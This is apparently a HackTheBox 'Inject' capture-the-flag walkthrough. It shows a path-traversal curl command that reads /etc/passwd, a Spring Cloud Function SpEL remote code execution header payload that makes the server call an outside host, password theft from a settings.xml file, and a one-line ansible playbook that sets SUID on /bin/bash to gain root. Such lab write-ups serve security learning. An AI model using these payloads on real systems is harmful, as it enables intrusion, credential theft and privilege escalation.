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HackTheBox/Inject.md
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# HackTheBox - Inject
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## NMAP
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```
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Nmap scan report for 10.10.11.204
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Host is up (0.14s latency).
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Not shown: 65533 closed tcp ports (reset)
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
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| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
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|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
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8080/tcp open nagios-nsca Nagios NSCA
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| http-methods:
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|_ Supported Methods: GET HEAD OPTIONS
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|_http-title: Home
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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```
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Scanning the machine, we have two ports out which port 8080 is interesting to us as there's a web server running
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## PORT 8080
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<img src="https://i.imgur.com/7MuE1oR.png"/>
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There's an option for login and signup but login doesn't take you anywhere so visting signup page
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<img src="https://i.imgur.com/LyRBKff.png"/>
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There is however an option to upload files on the home page
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<img src="https://i.imgur.com/tsess8E.png"/>
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<img src="https://i.imgur.com/Ttxcowc.png"/>
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On trying to upload file normal txt file, it only shows that image file can be uploaded
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<img src="https://i.imgur.com/G7qThvN.png"/>
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## Foothold
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I got exahausted for trying to upload php files but it didn't work and it was a huge rabbit hole for me but if we notice how it's fetching the uploaded files
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<img src="https://i.imgur.com/FTOWXas.png"/>
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It's using a GET parameter for fetching the files, trying for LFI, it didn't showed any results on the browser but if we send a request from `curl` it will show that it's indeed vulnerable
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<img src="https://i.imgur.com/o0R9nMm.png"/>
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```
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curl 'http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd'
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```
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<img src="https://i.imgur.com/T82GrgP.png"/>
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We can also see what files are there in the web root's directory by just traversing upto that path
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```
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curl 'http://10.10.11.204:8080/show_image?img=../../../'
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```
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<img src="https://i.imgur.com/bMyV4xC.png"/>
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We can read `pom.xml` file which tells about the infromation of the project
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<img src="https://i.imgur.com/yrkKrZx.png"/>
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<img src="https://i.imgur.com/mRVCfFu.png"/>
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Here we can find `Spring Framework cloud` version `3.2.2` being used, on searching for vulnerabilities, spring cloud function is vulnerable to remote code execution by `spring.cloud.function.routing-expression` paramter and SpEL (Spring Expression Language) to execute system commands on the machine
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```bash
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curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.21")' --data-raw 'data'
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```
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<img src="https://i.imgur.com/TLcVmJT.png"/>
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To get a reverse shell, we can add our payload in a shell script, upload it and execute it on the server
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<img src="https://i.imgur.com/EEELcOp.png"/>
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<img src="https://i.imgur.com/2XKX8px.png"/>
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<img src="https://i.imgur.com/xdsCCVz.png"/>
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<img src="https://i.imgur.com/nWDyOMR.png"/>
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Stabilizing the shell with python
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<img src="https://i.imgur.com/pCyTW8u.png"/>
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## Privilege Escalation (Phil)
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We can escalate to phil user by getting his password from `.m2` directory in `settings.xml` file
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<img src="https://i.imgur.com/yjwm7PA.png"/>
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Checking in what groups this user is in
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<img src="https://i.imgur.com/A6zxqiv.png"/>
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With `find` we can look for files or folders on which this group has access
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<img src="https://i.imgur.com/4vjSw29.png"/>
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Running `pspy` we can run see `ansible-playbook` being ran as root user and executing the yaml file
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<img src="https://i.imgur.com/NOpyWaj.png"/>
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## Privilege Escalation (root)
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We can escalate our privileges to root by `shell` paramter in our ansible yaml file to execute commands as root user `/opt/automation/tasks`
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```bash
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echo '[{hosts: localhost, tasks: [shell: 'chmod +s /bin/bash' ]}]' > playbook_2.yml
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```
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<img src="https://i.imgur.com/mMRRKia.png"/>
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With `chmod +s /bin/bash` we can make bash a SUID meaning it will be executed as root on running it with `-p`
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<img src="https://i.imgur.com/0xWIys3.png"/>
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## References
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- https://github.com/me2nuk/CVE-2022-22963
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- https://docs.ansible.com/ansible/2.9/modules/shell_module.html
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